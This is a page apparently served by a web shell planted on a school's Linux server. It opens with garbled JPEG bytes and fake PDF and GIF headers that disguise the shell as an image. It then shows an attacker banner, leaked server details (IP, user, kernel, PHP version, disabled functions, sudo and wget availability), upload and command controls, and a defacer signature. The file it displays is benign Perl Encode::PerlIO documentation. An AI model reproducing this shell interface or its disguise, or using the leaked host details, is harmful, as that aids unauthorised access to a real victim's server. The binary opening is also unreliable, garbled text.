JFIF     "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777"H !1AQ"2aqB#R3b$Cr4Ss%Tt&c$!1AQ"a#2B ? }XuAo)8^ IƟ`vUp9jY0Ǧ w)E허2jU`SEKw5]kSno!]:?jc\غV7/9N+{t#8zd/޲3F/=ź3GNquV"/4:{z%ۣI'D@ %88^f}VV)S_2ed^Mx"͟?UC62Q%чmO͓ cq0rŖJ\Õ_Sݶ'|G.q޾D U]nP%EF>˲E"d&'f2s6H]4w IS˶4VbaQ+9]XtNx:M0JNxϙ⟟"{nr;|{%vo\z-wc,*|k}-m55o4W9ؓw߱Yzk .=/oϡȴ^9ҧʹamtQԬZ]4?egjrQ}+)MleE]MPEn!`IK2RUEwVIoͷcp;lśe7΄uN ;rПV8|e\׹9Y-V_G.)XԢOv<;_"ڜ]ߙEr݊'K{KuBJ}KI}24|"v)/ʻo5)6-Tjd7.C]Q&lU,Yk1P4~UKZs|$kX6+屷CUq+N(jlGrpG&UB3#k3\9qfg7O8Kim(AJOO~C#e`i0wĦij$cWh<dtQߺ"NOtG+ZǪ]b5%]v5$)u|qZ柡s-rۖu$MKڎCmN_V'/1u,21pvlc>қeNnֺ|bkl=lǷNOʣlz*]»vȎ[)j[fs[]:s#m6Qt6*Q+`};ßj[F_jcv`r#w}|k<ڞ/r53N8>Kh q_-_??@enſEܥ\D\YAEo+ ޟd}IcY7+t{=ɩ>}i\\JfxzVdSzᔢ]Q^CJի\iceitMM5hڦg')^ et#ۯ"ÿfF->4iؤ2ݷ6#p6^-R̫gETj^I.kӽUp~D9[:/>h> \gJ|ۿؘ>ml9jMK =+*2i=0RiͶۗV{"u]IH`9J_˹KƼK$X-|=ve/ bjxw.9i%NqVJcFYKcTtO,F;%67vYb8֝qq0tUt=DvawsS~~Edzr^F-v{c++ݔ\|9Iy #nOavOY=3690Tcrilwa\˓m$?箵S6U c(.~R7suMhqcMOnKoc*ȣȩEd'J ܜk*_q}%M/7c.|;trddbsdcJev85̤iW Ę 8C# .딖e$sk80^\J众2)Nm~|Idj_ O+6ǻ#(MIz4Qo:օY,:q]̌"lK}{F]ζ)h>ʶ ^ue78_G#rqv$wkk[Q c+վ+ĸZΝFB]VzoiJRke&Kgom_7Wef_7,osJɽE%lzBt>mRs)v8'P0ֲtrOg4p_2`GlhYڦDF/ӚKmtm'P2kqU765fJY:y؊.ox%8V_ִ̌ܞjpqwЮQ;iUcNoOoٸcY w*4soӵkqf$?-jy~0{>?DaL8XL/ɞo+'8 {ʸxգj#Dy)wk̘e۩+%}~;ڼ5xek|y-%ڱ-ʜe:EEScÚ5z|r'&I&яF*F7|[nRF =(4ۖ@. n7@xx:N^8Bg%u/ny6&dR{?8U_Q6Z߯-oh.NR]} qi6~H(j7*uF&l&o8ts]/P89:jW*$w׹Ӌ FxpsCJi.7N q4WU_}7*M#qWiصnk'4ݍl*t^ c<'d:~͗enFQRz9v~ddoTZ̚k7X(wUswO̙fոҁՕ[$IAI>WW~ĪEѢNoeutYߑ-Eixιpxq{FnyfRrjqU᫤]>wPU8)Y-7Wbq㛋w:7ܣ].j%K:y4] %9$I%pT(󨪙VqiYٓ4y~5S/XTDZM2lȪ; S~Kx:(Mn0';-{*qV&|W3S+\֔a{R{s=lYmN9Fn&o'}Vi( ?*qV5ѼCNsM饏zߴ$^O69@ ,$y|jE;gW/u|M?3+ZՕN86յw%|QO㏏S\E#ddsgl+Scl3~~CԕQľ?5_ z߿t11OĶ0>oB9E/SOSk+b&Yn>$툧eg) "!܉(1 uBoJ)/t/,:=7M+1ܺ#CmS^Nz 6[u&]+|Dfj:uZ5-Z^TjMtm>cȳ NdT_,M#Ex;pt۴ͮ#!N iKl!zPծ~$1SiO} HI&g Bf)b%Ko̧kumEnص;V?j>nltOMVۆl>.WueYaw2+qK,?uHiqqSM}~gu3xbcWSy/Xc{%sZ]uaUM;7:cb5G97'7þյW,;$ܛyVjl޻y7S;o6gf.Tг[7/i1Z^rE cUF'P1-?%u&q{fw~27ޡ ^w$?SwP[=R3Y73 4x(Kk&rLȫMKn:RjcI?3Al`vض[POĖSYujj6v+-[xҵ=~zNN>\ɲQ/uufo*e6l;31붏.>w6=7#7dFDc%ƶTbd;2/=?Asr! ~ZSS~I"9y]Hn,ĊJ7S}cK"amCg3yP=RQɤW}t;-{F+v+RɔڎB?º{SV묖kۏmK~%.Q;OfEf_Y/F-V-MdD)m.ZՍ8Y*h[g/6ydmCc[rdfʾ䖗gd$^֍^ʅѻL|<[݉\߯RiJUo';œN?B smS ܹkس,mRE^ѣlJ&.ċ԰YO:޼f\Z'HCѯU[ʩ1ff4S-٥YxTIGLiыr }L)edׂ*l|ٚuoxӿnWkTbbVm zT_'"x5Vިxo1ج^Fq6Sd3ws'/ڞ6m?}1OsRGݝ+,~ڬ%^p1ef5c25vq~﹉ă[r-eq] 8+/ESj}?mUE.xYK3"oƔ^Y9I]I ޑ" &*4.Jâ}ټQbXKJ񽼀ncg`+riܭ_'Bֽp%bX'7cB}WPm|zHָLJhj~E>i~Z$297|_hyΕ&s}ZϷ *j]:v.HK<SP8`Pƣ)r ,}8Wk[ArHgn=о7:J]TTP>OOj J_KyB\Ԥrm嬷ȫr{ݙ5R(FRЪ6q}KLmR'eޖz6[YތesYYL5Tr7s\^rؙV͸컬j5d?yk'b S }kra^ߚRH)[sg.fLM\u= vJQ]rVkZuoN}#G?yjO%|i2fKoӰღC P_Ϳ6Zr{e/m$i}9 G2')YG9KY>|1ӫ +v+i;h\Q@˿Lӭn˖ 7ck>Vr.D0)hC<˄4"0[eԬݭe+l2s3ss oX]1r]+VK vI;mZ')R6e5=/i@]H^Z۬՝EW.jƆf{8mXMV~_̝z^VR}T63}}k3+k3:j1Phlpi{欍BȽ}6w73GtUZv>4eUj$ xz$$D/߇ߟI"uk̜aƪ*ke/F:dһ_PE1ݡkp(5ʏ-ɮ{Yllԧg!ܝ g]i-umεŸxOê^=PR ##XeMy%2L~󜺶Hm ݙ2t_ƶz7'\Z4T<"AM-&xaC]a5.huQ۫$cMμ|h;.J.o߸sE-zU{d];|YLSMvSEneNKr1B[]NeonNߪ$4̘FPrkxޱ=0lr7Q%=$KQ;0r*XKdGۃ*]w-npᬶ\tt4>Dc[Ouo3/)-WҴ xs71eԤm*ٖ웗H''.Cnmy]݊Kra[9)Y#2U6d7tf.[R.GdE>#O_.+-K`{KonR_ÕM/)?:F,Xo1ƽRmz8C]lD %(x+d2Ah+\CCLJ!D65x\ȼv)\Nrp*[YُfL*PyVΚuWA K4hyYdwihNIy#ub?4NDϐ'4 :nFe(o%ve@@xl-k%QƭRP&kεMŪ-Ys2u ]T!}8*TQnZ}v =~mԧyDM&8K>2|Bnugܷ.wvCs̼5F^ubES7ݢM&4Ź-~mKx1((sr!M5uy\q)oy|a)ˣ,A?w"T휳2\F}PR-<2%`~4Z5\W"(USkGpT(~Qj>ɰ쏳ǓSKKx's]nEf'.iݙL>Moƹk7ݭ[.г6lk<;?)#E]xFU7'>vF%R;t:Җs}NSBWX=Y8ث}~G)S^^ƽwR[)/Fm-ڞTK~˓Z]U;RQ=M/"NԝP[-Y9t_8V+}P?Ue{M/O&WWKvc#r'KM'p[±vtpRC/W|7K2Rfm;ljm%Z]^T[6}6iTC }L[uxg7(Z}. SRI)jҞzȶ쳢oYRw$ŷ"J\ǭw{u'R taF{;3hHB\RP(*ZQ]y;;k٥nWbGKv-V?NDҞkd9@z LJ}Kc9C*?V-*[*۸-0.|󲝳ߗZK#%_OFGF$kC$[NNJ7Yn[k~Xzc+Sʲuhsw^^4+nElbƮKD,}YLV=i=|p|_=b5mȵ(~,em#Xƥ.sVoEaWXc.lY uG\m';'*\ӆ}|˯UfQBvo}/"zw + qvMrQ[[AdU2ٽCGgjؖS~Ev%9">$_2Sߚ%ѽ7jX(t#21r{̬F]b()?r[Rı)W[O/6]XL9 vuLh-Ȃ9"'7f!Փ䮿Bf}[lag֧]?Pc#D9EmfK7o*})+n!]qIo^FrNVNo!Eƃd#OP?%ۋ(mPu93ۣ{}2&$%cZ߯LҚY);U afԶd,*'6_?B:R~}^̬~mJ+vC}Ѩe"MY+mi :s쥸;iJeYvBddeK|#5/mzR]F2 JHUU )/S{Ic$=: W)>} @0#URsR=w"L{+ɞ)d|*qq2>[nƨDۋ-G[6½J|{Ѿ4MwyG-Σ Ze{ug>2|'zΤ2%xՑ*<Q̥T')uLkjn(zF-JOR}wn~FV5zq2m'^VS=7Y^RdfeO)>EpX붚w*r*w˿^kڴ{J;K۔sRŶU]p\zn@dx6[+yeH[_m_/I&mv|M5&&-G"v۴^{vg8Y(K_~h0e AxfrzڬkhS/Vy1ϯdW3'͹}{'V-:MW(V/ͷ*E7s\EmEW}bUr'k,P{9?B֫ #[uNrB,wo^{fdF(5tRf.2J-/:~ t0M"d_/c^32*q]yLl^2[ݥZc*vtm213r'tSuM-Խ#o/HF+2VEpmǦޟS?Rs+t:u G8n,Ԛf,hY8SX*rKf>+cpruɬ=DMrXgϸ:~ɲ ~]'5'kElw\=ڞAG&')G9R\_̝1K;nPg&T(ի[^Jҟ"qoӸ.W}3mF>'$<\U6-~?x?B~{^xkpv-vlߣe빹j\(ښsuu6lH(qoaYt?x8}Ie '@b%TݲygV.+O9/W4MsCMuFjYzG.{ds.k(>G~K?ni-=R r}r ?s̥%l5Ϛ9IN6~۩RĢWNʾE[|nb.HY—קWkr1ҺշMNDp)^¸R:w;u1 12]T/Uiʹd%2OC2K*r5S]g凫5 UQ.ȫ– /i91njFkQxuJ1rn%XDžy?s˗վuMGƋ/m^J*RsF))uF,'l{=|nFm9:N\%u#tnXE->e2Y0PũjUȨEŭ|'eʹ[o{Ցms%CGg/}t|snzrvm\g}cÊ94Pvg'L}ّg궮ԱߢO^f.W-sT]M˔ېе<^Н'KuNn_Vl8*Kж^ xsuW51-ᅱFzƉT-kY/9wzDޯ/XlW)gypǚjDɨ~{ݤHCim.[>rqE_Uرx/>|L64%aj;fxӱF(K֓J9՞ -K> I_5Enn´&=Oc%o̟IJZF$۲5I9Wݚ n.WTuѲӏ[4U/9.2zX5\j3ĎEsMq4%9.d[7јc9eNa+sjE';%s#ɤ`ףS=WI쫢.Mv:j/[3:rTF_zt:.z%udW%]xܮVz$Vŗ49[^y.խN~M&mx+wGR~_4KC[ʻ:v>03߶v9x-Mȧ$c:lrCWjeg%ֹ_Nh՝Qɏj^ϛr^.>WhlE5yֵ6\W^确]*гc&^NI[oCDn.ߑ!,m&M_/'Mn$s\r^8|uSZZ1|LV<(zq׮xmٚZƏ%.Ԁs^2𱸒O#&,s[mײ9kޖCoSq&俙qxP.N] 2UǎsM2iN.f r[mcQZmFُE{#[TbҔ*sfaSrn^8N<\_'MarJ6 EQғ|F[S'[~q~kmn[_x?B f5Q١X=g(~[Cx}GO ĺo'e)~dq(Ot`sN=~heu ::m'Cjj>~5V柙cyQD%uqEc{[l^U O]b~eŦۑ'W3&' 2V.^D%G S6\wYNO$. O+^ŵG~haEs^=1*bICzFF4O#,Wu3허ekB\I'tWMߩOG3iFz{rgeM9g r] i3gk&u1r/1kVgR-ɿuF .^;3;?3큦bN̂r4ovMkڞ}[:,IVG<};*-2",>K%bK2Ƨ[w!)ˤ;d?4%Ul2ږec4#ōIw^R_/TFX+*FM[F|a'ߚ2SIMeVGn ~&Y Ym(?ԛ],=|сG4yjk"Q^~ԗ^c,qqrg^-:Uc[E8>>k|nS..LBIc>3i|ZEZXAqm nuOm<; X~mrK=~ ƱrSN<U!F΋WS/|t?K)zd} ,C"ovx?bբs3mX3桭X֖˦kFddhg}$ggSo5jL*NdJis$ EQ\v=0HxzyW~FT_Ƶccg,&=_V(%kq+_÷O'[_[Uڽv F $Ξ9n5EN/4Yy/%*} .jΔ`V_6\VͲohzfOgޯzpj}y}v:34WH;+x7ӻu<ݦ"mJ/=>eoD֣c4kXW-[}٬6;t[Na_• _5i5˗sٴ]+e;Joj㼶ۙyLumo5&F)F\ {(sm_M>gzcr)KU̠Ħ=VDd'h;-aŤ9KٰqQܫަazMp4bk9 UX.ͮ]KeS5Uq[¹X0ɦ6]roFjʧ2׏6/C6eQE5KӰmsFnIz&`z팡-ٯ.ixyك?c2//z6M4W[]_"?Õ[? Vfvӳq]I5(d|MʝzcC*mN>B2gD+><e:Gh %UkW%zJ8k_ˠ=KFRfw{sŖ^q\/{v[Ω}gLjT[t_ޕg6G~rkkMcSRKբ54?SAûO1o%[>5/R~CioNdNʛćh>f6H8c/<1xd[ŦCEk.9"ej?w&O6^ژR[vrQ.z㎩f6:V8}hi2z~ s-w]+|I9s_C~>-S&9ZFVLf7-d'pՠplJ#mm؎s(?Ʋ?/A%_sXuGNnR}_dq>1ʍ|У3]NXYZʷ/&ܛ彖LS? 6]"_t5qP5Kq]^m91jW暹U6-5WU澦M0˵f2ӪǮ.P~? _nEJTcTei)ٳrۣ%x %gs}7l9'tb~dXst# r?}Weaq>=+to)7،E*vn\e_,\NFxcivz]tM˼?Oԝ2Zrλs-ĺEtonIIfm/9^[^EBUjOnr6vI& l]%0")2䒶-+R*zyX<> -X9GUo^xYQ8ιvixٔa\t)hv}ьոVU~tK,=_wLLa?TYIo]$`N6cbi?#7;MRt<.~Q-mob\\g5췍 ڌ_?8nfJN/Y͢n3?_sϩ{HiְPo'yS??_jߡWi5q? MWȲ)8a]lLˏ--b[TXlΫRy;o5뜾$HW.mm?շG[Ƀ seo5Q}Le%*،«~uU{R$t\^%!weX:G('6WupTS&~8=jo?2_PϖE[nf6Tٯ;GLW)NM[o*\j%.gb|䭹noOX:1R)UTj74˓]D_bʝkzNI.9|^G`KeQ{mOjX/sR7evdgi7qm}ތW&4=~|YY)?7Oj}xXkF×4c.l?i|b[5Ή5j-[Y\z<茲Z$Ff&o;gErǩݦ̪/q[&[/9uuzi;PS^_/?]=ΕqK~ӛ5'NM[m_Ϲc'[oӯE#g߂vvGNRo϶o5Ǩ[ɉtov2~i<7iSȜN(G5+/ٛMTܣukj鷣/$1˒!Mxr\ߤs1ZuMQȌ^]c$CXrj#N/˦Ķ9]Nzê5zi;W,v!ŧD6zğ7uR5^MW}>igl2U2nXo{}_w]&vte\Z3 MEEe/ 2s㗼S_bIղTI}|[Ye/c]*̪9u/DmyNxSDgi `Z?.RFj۪'~.[KVb޺o濡to?E#[.^y=q4F8ڎ/GX\.YW!Z.ѕtt:?gYYyU%Uw~ri>ȦKhg,5/=>V?TrN4aWO,oӕ7-SRi*"dܽpuaVQÞd-#J2Nr:#``ѧWR-F?I-T -cOT2pr?þזgE\Ij~L9%EMoџUؙt8_eYΧWjU}e9y9z/#TT-2dLt3H=ڼcKb'"uIٓ'[[߱F~\2]r%C]^VCLjm[cJNryf}ջ.[DEoRՒb'>fVy_c6[K4Na5>{ɳaw/Uj.Զ_K~?IeJ7OQx3IgFc*جɊǽ-o3Ӭp / ]7V*ENܜ[r/tOJΉw*ʨ*JFN^.WZeLgUwKi/M9y8dkOᛊHxGĶM*&#h/U|6D(uFyE5hYxiSEVm^D|,ۿCj;<*ouOkYpΔ2{x-L] !k2ا#IM'a7:M}M1Y儭Mnk[/;4Uwkkɫ%aɔoXVV$m;2Z4i9:>\Yů= ?[{t6,~!c`Un+dW.gKyIB]l+3kض(\MZ\}>k\C~閹l[ů]VNtƸr몮X+U>v'nv{y7s[г̭9Ctvt% GqT8=wa(6\Rd柮YWv^Fd^\+緉,+=-^S"k:NVu o[_TIѝ椯bF/G㿏dΙ?T}K-T)W>s?3M)V*,;P\,}B u{rDexڥVFfw}47׋w}]Դ 1dmk1V%/'T:Fǒ_TEe[l/l/ٯc{Ƀ[~`zj⾥r}Vܪ{M8Qv]$mU]8J2MngcxY?鑞.9HjxSy.fS(|]MgcK2$(jRQ3XO|<f:Jq4& fw|$N )A8ת99 mFNM*Dϒ NoIa9i9y?:D⻧߇\7ɧ]mu"-˥5/w̨_ 7DK['[2"(%xzT\*GT"+<,yX.lEJrfo?.4N;l>jmZߣ5FdB3\r,t,./S]Q{tm5lӕT~A [fv7Iہc: ΪN7I]2(|o$NLW"#~Dͭ=v-Mv{-lqn{I3xn'6.=DƟܖަ~deQV;k2Ei\[bӴ1_]OhZl朠&t3xkei+c\'ZԪ'hK梿X@cTԫ#emIz6e^i?8 NBc̆f+MׇdC]YSd%lώ8-c7eι/}_con/no\핍~[WNReXMo+اn ?#Ͷ-AUFN1V4!y,{1a$S﹑;Ǚr"__[o) xk}7EI/riwؙ7mR}`|yrEVdo/B# uٳiNQKQkᑑ^d@/=ˑɒ768fsuor9=7ףܹճpMr-$1uySOZN?đrqզ9F q=.!T?ػ bf{¯q=$^:!ES߿ Fu\OS,8e^UוS^hF4BQƺȪw-kF39@X06 Fv=Q^|ƞ5}2tnmG_|Λ(|%](-5>KȁN$=6lq).12 V6m$ׇlOcҫܸ K{;ľ>+Q?Rx-Keu uMy$i B}G*h$Q -W[-&a"[i\}~Ek$<~c{MffS eS.#\^lMiytު]9S{u4 {DFޅSź}R ]R$y;r/P̙3niXMt;&!rxw\ZFmQ"w\L{^۔K&/gr:m=2%5bwE"^e[\$ɟPi!U_rdS2d?=[!(I.rC QZEim%}|YmzZ_ά<ۡLQM|` ybPȏ}?]Eu[`kҫgFb~F}Q8NP>5lӳ^-K%Q}$sx7SvnfTƸ|Kzd'_ⰽח$4L Y?qy32t j2e ȜrJ{mبhۍUU'p#8y'ѝ=i+Tĩo7WYyČkL5؝M=%"Nt}eXW)N.~sv5pɮ sSQ[+-/}kVk'FEɩ9SE&T=&\緵 --tf.9Ѳ4_##_ɱTFV؞~YTddS&s=䟚Fb1._5}~gM'p#,U hs--XG wtԹTi7M:GYK5'^W?C>_Gq/S&d| k_gO ӊiJeHU G_ Êg#),}-:5>V1emq}t}q?meKU:BqJeiPɗ#\$sI} Z生ƫoo=V=pVcUg"%wEm叡vIdhrȔ~F]p58_.,O|'Ɇ^L!c6OWӷ{x9?Fp?ceOuT+Uɵݹ&gx9i퓃sxGIm}_3Īr#:ԣ?4בc[jö#B7KʌWNo)=+c }YvP{lv^r+5Vxx_:~=̌Q}CTy+Wh鸚f$101뢊F[#--Y\i@l)W8/E>8nlj/ktOľ,q*[sE[]:?ZeQvŔɺ|j(Wx,LW=:S?κq%81c)jJvODLiW,{96vr-2}-EH,}%3k#l5gl~x__W Sڎ 8YJQvA=QIWju6-X9$kWЩCI4UWd'&O/Cf=Pi/#+>n$KYst܅y4ʷD^~%~myj,s_4Q}΍Cή;SW:h=Ff{.B/inȇo=-T͸OY2}hlK}.m7-z?,f-/^b\QWs/_͔/3In[6M;l ygؼ!WUË_)D9YL4_>f}ϵ3hV5Oѣ(l8?L4蹥[-Э=7V{&ʢPʼ*3cMz>u4@[oM gKS[jy"Lھzɵfx)GE`ֿ.=kJ>/iˢ[j-qץQC B@o V(ʯG?Bܻ\I>=K-].(vOE.5׮=/Pf^&$caY9{3މ%YOxZ~6Z;;ԗ.NJzş/YϖĜ%ѿO^tY$ν4|e}2ɶU9A؜h˺LrIm%J.|I]kG|DzU k4'(T\9߱^!z -:mW^ <= <^2*;Seq(6ªsHf5ʸO{Ilr~G uJY^k5X_y;5'59O@ƣ̶>pnCOvNwX4oUUf]Џe%MV9Xm9]x'Q=82z)c/~1\~LSow>ﺍƻUql~Sqo羘sk}VjG71kYؽ]b4qnMӡ; w@̇IL㿗[43)]=v*)EH'a񖳋ҎTkxuXGK& ZIR(M8?:ixJp-dmckpu*%N^-7E3='ceE&';_J'Mw𶥏Y9+d9+>!e_Sn|VX -TZu]Ģ/6\ckr /ޗ/z[y.N:*k$ }Yǭ}GUm^-%dm;K_#ctBsg2:8rz-VE|T w.}w9NEPGnoCe8/&3qT}MJ̙Mۗ~哳,-WI_Bsh+~͛vN{ZdYKݲkr%+lo*re-ه?:vYqFfCsqMXRķ{yqgrx.oǓ\xdڗ_ZC9WomX|KmV_%UJܷr$drȳL~MoKyYLic Jq<1$UuٯTד374s<ĕ96춉r9 pGc9=p^:)ZJb&VӝXٽ 0/X& ۳*_ԙƏ.5J 6<$$6B0d_d?hqd>XCe- wO@pg:.>$.Ϣ~L޲|,{-ɪ2.u/Ds-[ُiVIWK5M#Fܭ3?x.)ۣ,wJ)Ȳڣ-#fbdq&Tͧ8Q,YqQ)/R­?\k˔[p_+ogzP[6r^o}_kT}JiJ;<ivEH8wI@MOPʊ\#+$%PDF-1.7 GIF89;
ANDA PELER
Server IP : 182.253.108.180  /  Your IP : 3.139.67.114
Web Server : Apache
System : Linux sma1wiradesa.sch.id 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : wijaya ( 1017)
PHP Version : 7.3.33-10+ubuntu18.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/perl/5.26/Encode/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /usr/share/perl/5.26/Encode/PerlIO.pod
=head1 NAME

Encode::PerlIO -- a detailed document on Encode and PerlIO

=head1 Overview

It is very common to want to do encoding transformations when
reading or writing files, network connections, pipes etc.
If Perl is configured to use the new 'perlio' IO system then
C<Encode> provides a "layer" (see L<PerlIO>) which can transform
data as it is read or written.

Here is how the blind poet would modernise the encoding:

    use Encode;
    open(my $iliad,'<:encoding(iso-8859-7)','iliad.greek');
    open(my $utf8,'>:utf8','iliad.utf8');
    my @epic = <$iliad>;
    print $utf8 @epic;
    close($utf8);
    close($illiad);

In addition, the new IO system can also be configured to read/write
UTF-8 encoded characters (as noted above, this is efficient):

    open(my $fh,'>:utf8','anything');
    print $fh "Any \x{0021} string \N{SMILEY FACE}\n";

Either of the above forms of "layer" specifications can be made the default
for a lexical scope with the C<use open ...> pragma. See L<open>.

Once a handle is open, its layers can be altered using C<binmode>.

Without any such configuration, or if Perl itself is built using the
system's own IO, then write operations assume that the file handle
accepts only I<bytes> and will C<die> if a character larger than 255 is
written to the handle. When reading, each octet from the handle becomes
a byte-in-a-character. Note that this default is the same behaviour
as bytes-only languages (including Perl before v5.6) would have,
and is sufficient to handle native 8-bit encodings e.g. iso-8859-1,
EBCDIC etc. and any legacy mechanisms for handling other encodings
and binary data.

In other cases, it is the program's responsibility to transform
characters into bytes using the API above before doing writes, and to
transform the bytes read from a handle into characters before doing
"character operations" (e.g. C<lc>, C</\W+/>, ...).

You can also use PerlIO to convert larger amounts of data you don't
want to bring into memory.  For example, to convert between ISO-8859-1
(Latin 1) and UTF-8 (or UTF-EBCDIC in EBCDIC machines):

    open(F, "<:encoding(iso-8859-1)", "data.txt") or die $!;
    open(G, ">:utf8",                 "data.utf") or die $!;
    while (<F>) { print G }

    # Could also do "print G <F>" but that would pull
    # the whole file into memory just to write it out again.

More examples:

    open(my $f, "<:encoding(cp1252)")
    open(my $g, ">:encoding(iso-8859-2)")
    open(my $h, ">:encoding(latin9)")       # iso-8859-15

See also L<encoding> for how to change the default encoding of the
data in your script.

=head1 How does it work?

Here is a crude diagram of how filehandle, PerlIO, and Encode
interact.

  filehandle <-> PerlIO        PerlIO <-> scalar (read/printed)
                       \      /
                        Encode   

When PerlIO receives data from either direction, it fills a buffer
(currently with 1024 bytes) and passes the buffer to Encode.
Encode tries to convert the valid part and passes it back to PerlIO,
leaving invalid parts (usually a partial character) in the buffer.
PerlIO then appends more data to the buffer, calls Encode again,
and so on until the data stream ends.

To do so, PerlIO always calls (de|en)code methods with CHECK set to 1.
This ensures that the method stops at the right place when it
encounters partial character.  The following is what happens when
PerlIO and Encode tries to encode (from utf8) more than 1024 bytes
and the buffer boundary happens to be in the middle of a character.

   A   B   C   ....   ~     \x{3000}    ....
  41  42  43   ....  7E   e3   80   80  ....
  <- buffer --------------->
  << encoded >>>>>>>>>>
                       <- next buffer ------

Encode converts from the beginning to \x7E, leaving \xe3 in the buffer
because it is invalid (partial character).

Unfortunately, this scheme does not work well with escape-based
encodings such as ISO-2022-JP.

=head1 Line Buffering

Now let's see what happens when you try to decode from ISO-2022-JP and
the buffer ends in the middle of a character.

              JIS208-ESC   \x{5f3e}
   A   B   C   ....   ~   \e   $   B  |DAN | ....
  41  42  43   ....  7E   1b  24  41  43  46 ....
  <- buffer --------------------------->
  << encoded >>>>>>>>>>>>>>>>>>>>>>>

As you see, the next buffer begins with \x43.  But \x43 is 'C' in
ASCII, which is wrong in this case because we are now in JISX 0208
area so it has to convert \x43\x46, not \x43.  Unlike utf8 and EUC,
in escape-based encodings you can't tell if a given octet is a whole
character or just part of it.

Fortunately PerlIO also supports line buffer if you tell PerlIO to use
one instead of fixed buffer.  Since ISO-2022-JP is guaranteed to revert to ASCII at the end of the line, partial
character will never happen when line buffer is used.

To tell PerlIO to use line buffer, implement -E<gt>needs_lines method
for your encoding object.  See  L<Encode::Encoding> for details.

Thanks to these efforts most encodings that come with Encode support
PerlIO but that still leaves following encodings.

  iso-2022-kr
  MIME-B
  MIME-Header
  MIME-Q

Fortunately iso-2022-kr is hardly used (according to Jungshik) and
MIME-* are very unlikely to be fed to PerlIO because they are for mail
headers.  See L<Encode::MIME::Header> for details.

=head2 How can I tell whether my encoding fully supports PerlIO ?

As of this writing, any encoding whose class belongs to Encode::XS and
Encode::Unicode works.  The Encode module has a C<perlio_ok> method
which you can use before applying PerlIO encoding to the filehandle.
Here is an example:

  my $use_perlio = perlio_ok($enc);
  my $layer = $use_perlio ? "<:raw" : "<:encoding($enc)";
  open my $fh, $layer, $file or die "$file : $!";
  while(<$fh>){
    $_ = decode($enc, $_) unless $use_perlio;
    # .... 
  }

=head1 SEE ALSO

L<Encode::Encoding>,
L<Encode::Supported>,
L<Encode::PerlIO>, 
L<encoding>,
L<perlebcdic>, 
L<perlfunc/open>, 
L<perlunicode>, 
L<utf8>, 
the Perl Unicode Mailing List E<lt>perl-unicode@perl.orgE<gt>

=cut


Anon7 - 2022
SCDN GOK